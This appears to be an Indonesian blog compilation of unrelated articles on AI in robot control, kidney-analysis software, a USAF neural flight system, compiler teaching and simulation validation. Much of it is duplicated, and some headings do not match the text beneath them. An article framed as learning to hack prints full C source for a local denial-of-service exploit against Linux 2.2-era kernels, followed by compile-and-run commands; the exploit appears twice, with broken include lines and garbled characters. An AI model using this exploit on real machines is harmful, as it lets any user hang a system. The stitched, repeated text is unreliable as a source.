Metoda AI lain yang juga berkembang adalah algorithma genetik (genetic algorithm, GA) � untuk selanjutnya disebut sebagai GA. Dalam pemrograman komputer, aplikasi GA ini dikenal sebagai pemrograman berbasis teori evolusi (evolutionary computation, EC) � untuk selanjutnya disebut sebagai EC. Konsep EC ini dipublikasikan pertama kali oleh Holland (1975). Ia mengajukan konsep pemrograman berbasis GA yang diilhami oleh teori Darwin. Intinya, alam (nature), seperti manusia, memiliki kemampuan adaptasi dan pembelajaran alami �tanpa perlu dinyatakan: apa yang harus dilakukan�. Dengan kata lain, alam memilih �kromosom yang baik� secara �buta�/alami. Seperti pada ANN, kajian GA juga pernah mengalami masa vakum sebelum akhirnya banyak peneliti memfokuskan kembali perhatiannya pada teori EC.
GA pada dasarnya terdiri dari dua macam mekanisme, yaitu encoding dan evaluation. Davis (1991) mempublikasikan papernya yang berisi tentang beberapa metoda encoding. Dari berbagai literatur diketahui bahwa tidak ada metoda encoding yang mampu menyelesaikan semua permasalahan dengan sama baiknya. Namun demikian, banyak peneliti yang menggunakan metoda bit string dalam kajian-kajian EC dewasa ini.
Aplikasi AI dalam kontrol robotik dapat diilustrasikan sebagai berikut,
Gambar 4.1: Kontrol robot loop tertutup berbasis AI
Penggunaan AI dalam kontroler dilakukan untuk mendapatkan sifat dinamik kontroler �secara cerdas�. Seperti telah dijelaskan di muka, secara klasik, kontrol P, I, D atau kombinasi, tidak dapat melakukan adaptasi terhadap perubahan dinamik sistem selama operasi karena parameter P, I dan D itu secara teoritis hanya mampu memberikan efek kontrol terbaik pada kondisi sistem yang sama ketika parameter tersebut di-tune. Di sinilah kemudian dikatakan bahwa kontrol klasik ini �belum cerdas� karena belum mampu mengakomodasi sifat-sifat nonlinieritas atau perubahan-perubahan dinamik, baik pada sistem robot itu sendiri maupun terhadap perubahan beban atau gangguan lingkungan.
Banyak kajian tentang bagaimana membuat P, I dan D menjadi dinamis, seperti misalnya kontrol adaptif, namun di sini hanya akan dibahas tentang rekayasa bagaimana membuat sistem kontrol bersifat �cerdas� melalui pendekatan-pendekatan AI yang populer, seperti ANN, FL dan EC atau GA.
Gambar 4.1 mengilustrasikan tentang skema AI yang digunakan secara langsung sebagai kontroler sistem robot. Dalam aplikasi lain, AI juga dapat digunakan untuk membantu proses identifikasi model dari sistem robot, model lingkungan atau gangguan, model dari tugas robot (task) seperti membuat rencana trajektori, dan sebagainya. Dalam hal ini konsep AI tidak digunakan secara langsung (direct) ke dalam kontroler, namun lebih bersifat tak langsung (indirect).
(Artikel 2)KECERDASAN BUATAN UNTUK KESEHATAN GINJAL PASIEN
PENGEMBANGAN PERANGKAT LUNAK BERBASIS
KECERDASAN BUATAN UNTUK ANALISIS KONDISI GINJAL PASIEN.
Pengembangan perangkat lunak berbasis kecerdasan buatan untuk menganalisis
dan memprediksi data keluaran renograf dual probe (BI-756) telah dilakukan
dengan baik. Renograf dual probe (BI-756) adalah perangkat medis hasil rekayasa
desain dan pabrikasi BATAN. Bantuan dokter ahli yang berpengalaman sangat
dibutuhkan untuk menganalisis kondisi ginjal pasien dengan tepat. Karena
keberadaan dokter ahli yang berpengalaman di bidang analisis ginjal sangat
terbatas, masalah ini bisa diatasi dengan menyediakan suatu sistem perangkat
lunak berbasis kecerdasan buatan yang memiliki pengetahuan dan analisis
komprehensif dari dokter ahli yang berpengalaman. Tujuan penelitian adalah
mengembangkan perangkat lunak yang dapat menganalisis kondisi ginjal pasien
dengan tepat. Perangkat lunak yang dikembangkan mampu memprediksi kondisi
ginjal pasien dengan tepat. Data masukan perangkat lunak yang dikembangkan
adalah data keluaran digital dari renograf dual probe (BI-756). Perangkat lunak
telah diujikan terhadap data pasien yang sesungguhnya dan kemampuan
identifikasi 98 % diperoleh dari 618 data uji. Hasil ini menunjukkan bahwa
perangkat lunak memiliki kemampuan baik dimana hanya dilatih dengan 6 data
saja.
PENGEMBANGAN PERANGKAT LUNAK BERBASIS
KECERDASAN BUATAN UNTUK ANALISIS KONDISI GINJAL PASIEN.
Pengembangan perangkat lunak berbasis kecerdasan buatan untuk menganalisis
dan memprediksi data keluaran renograf dual probe (BI-756) telah dilakukan
dengan baik. Renograf dual probe (BI-756) adalah perangkat medis hasil rekayasa
desain dan pabrikasi BATAN. Bantuan dokter ahli yang berpengalaman sangat
dibutuhkan untuk menganalisis kondisi ginjal pasien dengan tepat. Karena
keberadaan dokter ahli yang berpengalaman di bidang analisis ginjal sangat
terbatas, masalah ini bisa diatasi dengan menyediakan suatu sistem perangkat
lunak berbasis kecerdasan buatan yang memiliki pengetahuan dan analisis
komprehensif dari dokter ahli yang berpengalaman. Tujuan penelitian adalah
mengembangkan perangkat lunak yang dapat menganalisis kondisi ginjal pasien
dengan tepat. Perangkat lunak yang dikembangkan mampu memprediksi kondisi
ginjal pasien dengan tepat. Data masukan perangkat lunak yang dikembangkan
adalah data keluaran digital dari renograf dual probe (BI-756). Perangkat lunak
telah diujikan terhadap data pasien yang sesungguhnya dan kemampuan
identifikasi 98 % diperoleh dari 618 data uji. Hasil ini menunjukkan bahwa
perangkat lunak memiliki kemampuan baik dimana hanya dilatih dengan 6 data
saja.
Kecerdasan Buatan
(Artikel 1)Kecerdasan Buatan 3
Angkatan Udara AS (USAF) kini tengah m,engembangkan sistem kendali penerbangan untuk pesawat militer dan rudal dengan kecerdasan buatan atau artificial intelligence. Tujuannya adalah membantu kestabilan terbang pada saat-saat krisis, sehingga pilot lebih mudah dalam mengatasi kerusakan pada pesawat serta mengurangi kemungkinan jatuhnya korban. Sistem pengendalian yang didasarkan pada jejaring teknologi neural ini dikembangkan bersama dengan Georgia Institute of Technology di Atlanta. Sistem ini sekarang telah siap untuk diuji-cobakan pada beberapa jenis pesawat tak berawak USAF, seperti UCV atau pesawat tempur tanpa awak serta pesawat angkasa VentureStar. UCV adalah proyek dari badan riset USAF untuk membuktikan kemungkinan pemakaian pesawat tak berawak untuk melakukan serangan udara. Menurut USAF, sistem neural untuk kendali penerbangan ini menawarkan kestabilan yang nyaris sempurna dan langsung pada saat timbul kerusakan atau kegagalan pada sistem kendali konvensional. Sistem itu secara otomatis juga menyesuaikan diri dengan perubahan lingkungannya, seperti berat pesawat, kerusakan sayap dan sebagainya. Pengembangan sistem ini telah dimulai sejak 1996, dan sampai tahun lalu telah menghabiskan biaya 2,5 juta dollar.
Angkatan Udara AS (USAF) kini tengah m,engembangkan sistem kendali penerbangan untuk pesawat militer dan rudal dengan kecerdasan buatan atau artificial intelligence. Tujuannya adalah membantu kestabilan terbang pada saat-saat krisis, sehingga pilot lebih mudah dalam mengatasi kerusakan pada pesawat serta mengurangi kemungkinan jatuhnya korban. Sistem pengendalian yang didasarkan pada jejaring teknologi neural ini dikembangkan bersama dengan Georgia Institute of Technology di Atlanta. Sistem ini sekarang telah siap untuk diuji-cobakan pada beberapa jenis pesawat tak berawak USAF, seperti UCV atau pesawat tempur tanpa awak serta pesawat angkasa VentureStar. UCV adalah proyek dari badan riset USAF untuk membuktikan kemungkinan pemakaian pesawat tak berawak untuk melakukan serangan udara. Menurut USAF, sistem neural untuk kendali penerbangan ini menawarkan kestabilan yang nyaris sempurna dan langsung pada saat timbul kerusakan atau kegagalan pada sistem kendali konvensional. Sistem itu secara otomatis juga menyesuaikan diri dengan perubahan lingkungannya, seperti berat pesawat, kerusakan sayap dan sebagainya. Pengembangan sistem ini telah dimulai sejak 1996, dan sampai tahun lalu telah menghabiskan biaya 2,5 juta dollar.
compile Dalam Bahasa C
(Artikel 5 )Meng-compile Eksploit Dalam Bahasa C
Onno W. Purbo
Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.
Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka & dapat kita lihat menggunakan teks editor biasa pada directory:
/usr/src/linux
Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.
Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.
/* [http://b0f.morphed.net] - eth0 */
/* */
/* Vulnerable
Linux 2.2.12
Linux 2.2.13
Linux 2.2.14
Linux 2.3.99-pre2
The following exploit code will hang any Linux machine on various
Pentium platforms.
Note that this does not require any special privileges, and any user
Can compile and run it, so watch out kiddies…
The send system call immediately puts the kernel in a loop spewing
kmalloc: Size (131076) too large forever
(or until you hit the reset button).
Apparently UNIX domain sockets are ignoring the
/proc/sys/net/core/wmem_max parameter,
despite the documentation to the contrary.
[code provided by eth0 from b0f security]
[information provided by Jay Fenlason]
[http://b0f.morphed.net]
[buffer0verfl0w security]
*/
#include
#include
#include
char buf[128 * 1024];
int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i < bufsize; i++ )
buf[i] = ‘ ‘+(i%95);
buf[i] = ”;
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, “/dev/log”, sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}
Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.
Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.
Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:
$ gcc eksploit.c –o eksploit
maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:
$ ./eksploit
Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code & compile dari masing-masing source code.
Onno W. Purbo
Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.
Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka & dapat kita lihat menggunakan teks editor biasa pada directory:
/usr/src/linux
Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.
Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.
/* [http://b0f.morphed.net] - eth0 */
/* */
/* Vulnerable
Linux 2.2.12
Linux 2.2.13
Linux 2.2.14
Linux 2.3.99-pre2
The following exploit code will hang any Linux machine on various
Pentium platforms.
Note that this does not require any special privileges, and any user
Can compile and run it, so watch out kiddies…
The send system call immediately puts the kernel in a loop spewing
kmalloc: Size (131076) too large forever
(or until you hit the reset button).
Apparently UNIX domain sockets are ignoring the
/proc/sys/net/core/wmem_max parameter,
despite the documentation to the contrary.
[code provided by eth0 from b0f security]
[information provided by Jay Fenlason]
[http://b0f.morphed.net]
[buffer0verfl0w security]
*/
#include
#include
#include
char buf[128 * 1024];
int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i < bufsize; i++ )
buf[i] = ‘ ‘+(i%95);
buf[i] = ”;
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, “/dev/log”, sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}
Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.
Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.
Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:
$ gcc eksploit.c –o eksploit
maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:
$ ./eksploit
Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code & compile dari masing-masing source code.
Construction Compiler
(Artikel 4)Construction Compiler
Teknik kompilasi telah lama diberikan di lingkungan pendidikan tinggi bidang komputer di Indonesia. Pembahasan dalam mata kuliah ini biasanya berkisar pada teori automata, teori kompilasi, teori grammar. Praktek teknik kompilasi pun telah diberikan di lingkungan laboratorium, walau biasanya masih terbatas pada demonstrasi hal teori, ataupun sekedar pengenalan kompiler yang ada atau banyak digunakan. Beberapa universitas telah mulai memperkenalkan penggunaan perangkat pembangun kompiler.Telah banyak mahasiswa menggunakan dan memanfaatkan compiler/interpreter, tapi saat ini masih belum banyak muncul nama programmer Indonesia yang terlibat dalam proyek pembuatan compiler/interpreter. Mungkin hanya KILANG nya Prof. Dali S Naga (BASIC Indonesia), yang sempat terdengar, sayang sekarang sudah tidak ada jejaknya. Mungkin merilis KILANG dalam bentuk GPL seperti BWBASIC, adalah suatu langkah menarik untuk terus mengembangkan KILANG ini lebih lanjut.Memang ada sekelompok programmer Indonesia yang sempat akan merilis bahasa pemrograman "BATAK" tetapi hingga saat ini belum terdengar kembali. Bahasa pemrograman, JAVA, BALI, MADURA, hanyalah namanya saja yang berbau Indoensia, tapi sedikit atau malah tidak ada keterlibatan pengembang dari Indonesia.Tentu saja akan timbul pertanyaan "apa yang salah dalam pengajaran kompilasi ???" (INGAT SAYA TIDAK INGIN MENDISKREDITKAN SIAPAPUN DALAM PERNYATAAN INI). Hanya mencoba mencari langkah perbaikan yang mungkin bisa diterapkan.Walaupun sedikit sekali atau nyaris tidak ada "lowongan pekerjaan" yang membutuhkan kemampuan mengembangkan compiler ini (silahkan baca di koran ataupun majalah), bukan berarti pengetahuan itu sama sekali tak dibutuhkan dalam dunia pemrograman sehari-hari. Pada dasarnya pengetahuan pembuatan kompiler (compiler construction) ini merupakan pengetahuan dasar komputasi yang sangat baik sekali. Pengetahuan ini dimanfaatkan pada beragam aplikasi nantinya. Misal teknik parsing, pengenalan pola teks, optimasi kode dan lain sebagainya. Bahkan suatu database engine pun di bagian "front end" selalu menggunakan parsing ini. Pengetahuan tentang kompilasi akan dapat memberikan landasan bagi programmer untuk menyusun program yang efektif dan efisien.Ketika seseorang melakukan pemrograman, sebetulnya secara tidak sadar dia akan melakukan proses penambahan suatu bahasa. Misal pembuatan suatu fungsi (ataupun prosedur) pada dasarnya merupakan suatu proses "penambahan kosa-kata" dari bahasa pemrograman tersebut. Dari yang tadinya tidak memiliki fungsi tersebut hingga akhirnya ditambahkan suatu "vocabulary" untuk melakukan suatu fungsi tersebut. Untuk itulah pemahaman penyusunan kompiler merupakan suatu dasar yang utama dalam bidang ilmu komputer.
Teknik kompilasi telah lama diberikan di lingkungan pendidikan tinggi bidang komputer di Indonesia. Pembahasan dalam mata kuliah ini biasanya berkisar pada teori automata, teori kompilasi, teori grammar. Praktek teknik kompilasi pun telah diberikan di lingkungan laboratorium, walau biasanya masih terbatas pada demonstrasi hal teori, ataupun sekedar pengenalan kompiler yang ada atau banyak digunakan. Beberapa universitas telah mulai memperkenalkan penggunaan perangkat pembangun kompiler.Telah banyak mahasiswa menggunakan dan memanfaatkan compiler/interpreter, tapi saat ini masih belum banyak muncul nama programmer Indonesia yang terlibat dalam proyek pembuatan compiler/interpreter. Mungkin hanya KILANG nya Prof. Dali S Naga (BASIC Indonesia), yang sempat terdengar, sayang sekarang sudah tidak ada jejaknya. Mungkin merilis KILANG dalam bentuk GPL seperti BWBASIC, adalah suatu langkah menarik untuk terus mengembangkan KILANG ini lebih lanjut.Memang ada sekelompok programmer Indonesia yang sempat akan merilis bahasa pemrograman "BATAK" tetapi hingga saat ini belum terdengar kembali. Bahasa pemrograman, JAVA, BALI, MADURA, hanyalah namanya saja yang berbau Indoensia, tapi sedikit atau malah tidak ada keterlibatan pengembang dari Indonesia.Tentu saja akan timbul pertanyaan "apa yang salah dalam pengajaran kompilasi ???" (INGAT SAYA TIDAK INGIN MENDISKREDITKAN SIAPAPUN DALAM PERNYATAAN INI). Hanya mencoba mencari langkah perbaikan yang mungkin bisa diterapkan.Walaupun sedikit sekali atau nyaris tidak ada "lowongan pekerjaan" yang membutuhkan kemampuan mengembangkan compiler ini (silahkan baca di koran ataupun majalah), bukan berarti pengetahuan itu sama sekali tak dibutuhkan dalam dunia pemrograman sehari-hari. Pada dasarnya pengetahuan pembuatan kompiler (compiler construction) ini merupakan pengetahuan dasar komputasi yang sangat baik sekali. Pengetahuan ini dimanfaatkan pada beragam aplikasi nantinya. Misal teknik parsing, pengenalan pola teks, optimasi kode dan lain sebagainya. Bahkan suatu database engine pun di bagian "front end" selalu menggunakan parsing ini. Pengetahuan tentang kompilasi akan dapat memberikan landasan bagi programmer untuk menyusun program yang efektif dan efisien.Ketika seseorang melakukan pemrograman, sebetulnya secara tidak sadar dia akan melakukan proses penambahan suatu bahasa. Misal pembuatan suatu fungsi (ataupun prosedur) pada dasarnya merupakan suatu proses "penambahan kosa-kata" dari bahasa pemrograman tersebut. Dari yang tadinya tidak memiliki fungsi tersebut hingga akhirnya ditambahkan suatu "vocabulary" untuk melakukan suatu fungsi tersebut. Untuk itulah pemahaman penyusunan kompiler merupakan suatu dasar yang utama dalam bidang ilmu komputer.
Konstruksi Kompiler
( Artikel 3)Konstruksi Kompiler
Telah banyak mahasiswa menggunakan dan memanfaatkan compiler/interpreter, tapi saat ini masih belum banyak muncul nama programmer Indonesia yang terlibat dalam proyek pembuatan compiler/interpreter. Mungkin hanya KILANG nya Prof. Dali S Naga (BASIC Indonesia), yang sempat terdengar, sayang sekarang sudah tidak ada jejaknya. Mungkin merilis KILANG dalam bentuk GPL seperti BWBASIC, adalah suatu langkah menarik untuk terus mengembangkan KILANG ini lebih lanjut.
Memang ada sekelompok programmer Indonesia yang sempat akan merilis bahasa pemrograman "BATAK" tetapi hingga saat ini belum terdengar kembali. Bahasa pemrograman, JAVA, BALI, MADURA, hanyalah namanya saja yang berbau Indoensia, tapi sedikit atau malah tidak ada keterlibatan pengembang dari Indonesia.
Tentu saja akan timbul pertanyaan "apa yang salah dalam pengajaran kompilasi ???" (INGAT SAYA TIDAK INGIN MENDISKREDITKAN SIAPAPUN DALAM PERNYATAAN INI). Hanya mencoba mencari langkah perbaikan yang mungkin bisa diterapkan.
Walaupun sedikit sekali atau nyaris tidak ada "lowongan pekerjaan" yang membutuhkan kemampuan mengembangkan compiler ini (silahkan baca di koran ataupun majalah), bukan berarti pengetahuan itu sama sekali tak dibutuhkan dalam dunia pemrograman sehari-hari. Pada dasarnya pengetahuan pembuatan kompiler (compiler construction) ini merupakan pengetahuan dasar komputasi yang sangat baik sekali. Pengetahuan ini dimanfaatkan pada beragam aplikasi nantinya. Misal teknik parsing, pengenalan pola teks, optimasi kode dan lain sebagainya. Bahkan suatu database engine pun di bagian "front end" selalu menggunakan parsing ini. Pengetahuan tentang kompilasi akan dapat memberikan landasan bagi programmer untuk menyusun program yang efektif dan efisien.
Ketika seseorang melakukan pemrograman, sebetulnya secara tidak sadar dia akan melakukan proses penambahan suatu bahasa. Misal pembuatan suatu fungsi (ataupun prosedur) pada dasarnya merupakan suatu proses "penambahan kosa-kata" dari bahasa pemrograman tersebut. Dari yang tadinya tidak memiliki fungsi tersebut hingga akhirnya ditambahkan suatu "vocabulary" untuk melakukan suatu fungsi tersebut. Untuk itulah pemahaman penyusunan kompiler merupakan suatu dasar yang utama dalam bidang ilmu komputer.
Telah banyak mahasiswa menggunakan dan memanfaatkan compiler/interpreter, tapi saat ini masih belum banyak muncul nama programmer Indonesia yang terlibat dalam proyek pembuatan compiler/interpreter. Mungkin hanya KILANG nya Prof. Dali S Naga (BASIC Indonesia), yang sempat terdengar, sayang sekarang sudah tidak ada jejaknya. Mungkin merilis KILANG dalam bentuk GPL seperti BWBASIC, adalah suatu langkah menarik untuk terus mengembangkan KILANG ini lebih lanjut.
Memang ada sekelompok programmer Indonesia yang sempat akan merilis bahasa pemrograman "BATAK" tetapi hingga saat ini belum terdengar kembali. Bahasa pemrograman, JAVA, BALI, MADURA, hanyalah namanya saja yang berbau Indoensia, tapi sedikit atau malah tidak ada keterlibatan pengembang dari Indonesia.
Tentu saja akan timbul pertanyaan "apa yang salah dalam pengajaran kompilasi ???" (INGAT SAYA TIDAK INGIN MENDISKREDITKAN SIAPAPUN DALAM PERNYATAAN INI). Hanya mencoba mencari langkah perbaikan yang mungkin bisa diterapkan.
Walaupun sedikit sekali atau nyaris tidak ada "lowongan pekerjaan" yang membutuhkan kemampuan mengembangkan compiler ini (silahkan baca di koran ataupun majalah), bukan berarti pengetahuan itu sama sekali tak dibutuhkan dalam dunia pemrograman sehari-hari. Pada dasarnya pengetahuan pembuatan kompiler (compiler construction) ini merupakan pengetahuan dasar komputasi yang sangat baik sekali. Pengetahuan ini dimanfaatkan pada beragam aplikasi nantinya. Misal teknik parsing, pengenalan pola teks, optimasi kode dan lain sebagainya. Bahkan suatu database engine pun di bagian "front end" selalu menggunakan parsing ini. Pengetahuan tentang kompilasi akan dapat memberikan landasan bagi programmer untuk menyusun program yang efektif dan efisien.
Ketika seseorang melakukan pemrograman, sebetulnya secara tidak sadar dia akan melakukan proses penambahan suatu bahasa. Misal pembuatan suatu fungsi (ataupun prosedur) pada dasarnya merupakan suatu proses "penambahan kosa-kata" dari bahasa pemrograman tersebut. Dari yang tadinya tidak memiliki fungsi tersebut hingga akhirnya ditambahkan suatu "vocabulary" untuk melakukan suatu fungsi tersebut. Untuk itulah pemahaman penyusunan kompiler merupakan suatu dasar yang utama dalam bidang ilmu komputer.
Teknik Kompiler
(Artikel 2 )Teknik Kompiler
Delapan teknik yang dapat digunakan untuk men-debug program komputer dari model simulasi:
Teknik 1:
Dalam mengembangkan model simulasi, tulis dan debug program komputer dalam bentuk modul atau subprogram.
Teknik 2:
Disarankan agar lebih dari satu orang membaca program komputer jika model simulasi yang dikembangkan besar. Penulis program itu sendiri mungkin tidak dapat memberikan kritik yang baik.
Teknik 3:
Jalankan simulasi dengan beberapa setting parameter input dan lihat apakah outputnya masuk akal.
Teknik 4:
Lakukan “trace”, di mana status sistem yang disimulasi, yaitu: daftar event, variabel status, cacahan statistik, dsb., dicetak setelah masing-masing event terjadi dan dibandingkan dengan perhitungan manual untuk melihat apakah program bekerja sebagaimana mestinya.
Teknik 5:
Jika mungkin, model harus dijalankan dengan asumsi-asumsi yang disederhanakan di mana karakteristik yang sebenarnya diketahui atau dapat dihitung dengan mudah.
Teknik 6:
Pada beberapa model simulasi, akan sangat menolong jika ada animasi output simulasi yang dapat diteliti.
Teknik 7:
Tuliskan mean dan varians sampel untuk setiap distribusi probabilitas input simulasi dan bandingkan dengan mean dan varians yang diinginkan (mis., historikal).
Langkah ini menentukan apakah nilai-nilai input dibangkitkan dengan benar dari distribusi-distribusi tsb.
Teknik 8:
Gunakan paket simulasi untuk memperkecil jumlah baris kode yang dibutuhkan.
Pandangan Umum Mengenai Validasi
1. Ekperimen dengan model simulasi merupakan pengganti dari eksperimen dengan sistem yang ada atau yang diusulkan. Dengan demikian, tujuan ideal dari validasi adalah menjamin bahwa model simulasi cukup baik sehingga dapat digunakan untuk mengambil keputusan bagi sistem.
2. Kemudahan atau kesulitan proses validasi bergantung pada kompleksitas sistem yang dimodelkan dan apakah versi sistem tersebut sudah ada.
3. Model simulasi dari sistem yang kompleks hanya dapat merupakan pendekatan sistem yang sebenarnya.
4. Model simulasi harus selalu dikembangkan untuk sekumpulan tujuan tertentu. Model yang valid untuk satu tujuan belum tentu valid untuk tujuan lainnya.
5. Catatan asumsi-asumsi model simulasi harus di-update secara teratur, dan akhirnya menjadi laporan akhir.
6. Model simulasi harus divalidasi relatif terhadap ukuran-ukuran kinerja yang nanatinya dipakai untuk pengambilan keputusan.
7. Validasi bukan sesuatu yang harus diusahakan setelah model simulasi selesai dikembangkan, melainkan, pengembangan model dan validasi harus dilakukan bersama-sama sepanjang studi simulasi.
8. Umumnya tidak mungkin melakukan validasi statistik antara data output model dan data output sistem ybs (jika ada), bergantung pada sifat data tsb.
Pendekatan Tiga Langkah untuk Mengembangkan Model Simulasi yang Valid dan Credible
1. Mengembangkan model dengan High Face Validity, yaitu, model yang dipermukaannya tampak masuk akal bagi orang-orang yang memiliki pengetahuan tentang sistem yang dipelajari.
Pemodel simulasi harus menggunakan semua informasi dari:
- Wawancara dengan “pakar’ sistem.
- Observasi sistem.
- Teori yang ada.
*
- Hasil yang relevan dari model simulasi yang mirip.
*
- Pengalaman/Intuisi
*
2. Menguji Asumsi-asumsi model secara empiris.
Tujuannya adalah secara kuantitatif menguji asumsi-asumsi yang dibuat pada tahap awal pengembangan model. Salah satu alat bantu yang paling berguna adalah analisis sensitifitas. Cara ini dapat digunakan untuk mennetukan apakah output simulasi berubah secara signifikan ketika nilai parameter input diubah. Cara: dengan menggunakan metode bilangan acak umum.
3. Menentukan seberapa representatif data output simulasi.
Jika data output model simulasi memperlihatkan hasil yang “bagus” ketika dibandingkan dengan data output sistem yang sebenarnya atau yang diharapkan, maka model sistem tersebut “valid”.
Prosedur Statistik untuk Membandingkan Observasi Dunia Nyata dengan Data Output Simulasi
1. Pendekatan Inspeksi
Pendekatan inspeksi dasar: model diberi input dengan data acak, dan hasilnya dibandingkan dengan observasi dunia nyata.
Pendekatan inspeksi korelasi:
Data input sistem historis Data input sistem historis
Sistem yang sebenarnya Model simulasi
bandingkan
Data output sistem Data output model
2. Pendekatan Interval Konfidensi Berdasarkan Data Independen
3. Pendekatan Time-Series
EKSPERIMEN DISAIN
Untuk setiap disain sistem yang akan disimulasikan, harus dibuat keputusan untuk isu-isu seperti:
- Kondisi awal untuk menjalankan simulasi.
- Lama periode warmup (jika ada).
- Lama jalannya simulasi.
- Banyaknya simulasi-simulasi independen (replikasi) untuk setiap alternatif.
Tipe-tipe simulasi berdasarkan analisis output:
1. Terminating simulation
2. Nonterminating simulation:
a. Steady-state parameters
b. Steady-state cycle parameters
c. Other parameters.
Delapan teknik yang dapat digunakan untuk men-debug program komputer dari model simulasi:
Teknik 1:
Dalam mengembangkan model simulasi, tulis dan debug program komputer dalam bentuk modul atau subprogram.
Teknik 2:
Disarankan agar lebih dari satu orang membaca program komputer jika model simulasi yang dikembangkan besar. Penulis program itu sendiri mungkin tidak dapat memberikan kritik yang baik.
Teknik 3:
Jalankan simulasi dengan beberapa setting parameter input dan lihat apakah outputnya masuk akal.
Teknik 4:
Lakukan “trace”, di mana status sistem yang disimulasi, yaitu: daftar event, variabel status, cacahan statistik, dsb., dicetak setelah masing-masing event terjadi dan dibandingkan dengan perhitungan manual untuk melihat apakah program bekerja sebagaimana mestinya.
Teknik 5:
Jika mungkin, model harus dijalankan dengan asumsi-asumsi yang disederhanakan di mana karakteristik yang sebenarnya diketahui atau dapat dihitung dengan mudah.
Teknik 6:
Pada beberapa model simulasi, akan sangat menolong jika ada animasi output simulasi yang dapat diteliti.
Teknik 7:
Tuliskan mean dan varians sampel untuk setiap distribusi probabilitas input simulasi dan bandingkan dengan mean dan varians yang diinginkan (mis., historikal).
Langkah ini menentukan apakah nilai-nilai input dibangkitkan dengan benar dari distribusi-distribusi tsb.
Teknik 8:
Gunakan paket simulasi untuk memperkecil jumlah baris kode yang dibutuhkan.
Pandangan Umum Mengenai Validasi
1. Ekperimen dengan model simulasi merupakan pengganti dari eksperimen dengan sistem yang ada atau yang diusulkan. Dengan demikian, tujuan ideal dari validasi adalah menjamin bahwa model simulasi cukup baik sehingga dapat digunakan untuk mengambil keputusan bagi sistem.
2. Kemudahan atau kesulitan proses validasi bergantung pada kompleksitas sistem yang dimodelkan dan apakah versi sistem tersebut sudah ada.
3. Model simulasi dari sistem yang kompleks hanya dapat merupakan pendekatan sistem yang sebenarnya.
